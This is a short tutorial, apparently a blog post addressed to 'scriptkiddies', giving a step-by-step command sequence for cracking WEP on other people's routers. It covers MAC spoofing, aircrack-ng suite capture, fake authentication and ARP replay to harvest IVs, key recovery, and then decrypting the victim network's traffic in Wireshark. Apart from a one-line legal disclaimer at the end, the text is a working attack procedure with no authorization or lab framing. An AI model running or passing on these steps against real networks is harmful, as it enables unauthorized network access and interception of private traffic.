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Wep Cracking Steps

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Basic steps to get you cracking WEP (for scriptkiddies)

Once you got your tools ready it is time to get cracking. Routers especially those given out by our local ISP have their default security settings set to WEP to encrypt their traffic. This can be easily cracked by aircrack-ng suite in about 5 min once you are “au fait” with the setup.

For those who want to jump straight into the cracking process here are the basic steps you need to take.

Step 0: Spoof MAC address

Open terminal and run the command:

sudo ifconfig < attacker’s wlan interface > hw ether

Step 1: Gather essential background data about yourself and your target.

target_router SSID -> target_router

target_router MAC address -> 00:14:7F:99:EB:99

target router channel-> 6

attacker’s MAC address -> 00:0f:b5:ff:ff:f9

attacker’s wlan interface: wlan0

attacker’s monitoring interface name (spawned from wlan0): mon0

Note: Replace the above variables with your own. These were mine for my setup.

Step 2: Using aircrack-ng suite to crack WEP.

sudo airmon-ng start wlan0 -> spawn a monitoring interface from wlan0. sudo airodump-ng mon0 -> survey / scan for your target router. sudo airmon-ng stop mon0 -> stop the monitoring interface so that you can start it again to listen on channel 6. sudo airmon-ng start wlan0 6 -> This starts the mon0 interface listening to only channel 6 [Important step!]. sudo airodump-ng -c6 -w outputfile mon0 -> pump output to a file called outputfile-01.cap. sudo aireplay-ng -1 1 -e target_router -a 00:14:7F:99:EB:99 -h 00:0f:b5:ff:ff:f9 mon0 -> This creates a single fakeauth request for every 1 second to generate more IV. [open in separate terminal] sudo aireplay-ng -3 -b 00:14:7F:99:EB:99 -h 00:0f:b5:ff:ff:f9 mon0 -> Launch as many of these arpreplay to generate IV packets quickly. [open in separate terminal] sudo aircrack-ng outputfile-01.cap
Profit!
Step 3 (Optional): Monitor network traffic in real time.

Open up Wireshark > Edit > Preferences > Enter WEP key into the appropriate fields

Then, monitor traffic! Remember, please crack responsibly. Illegal Access is a crime.

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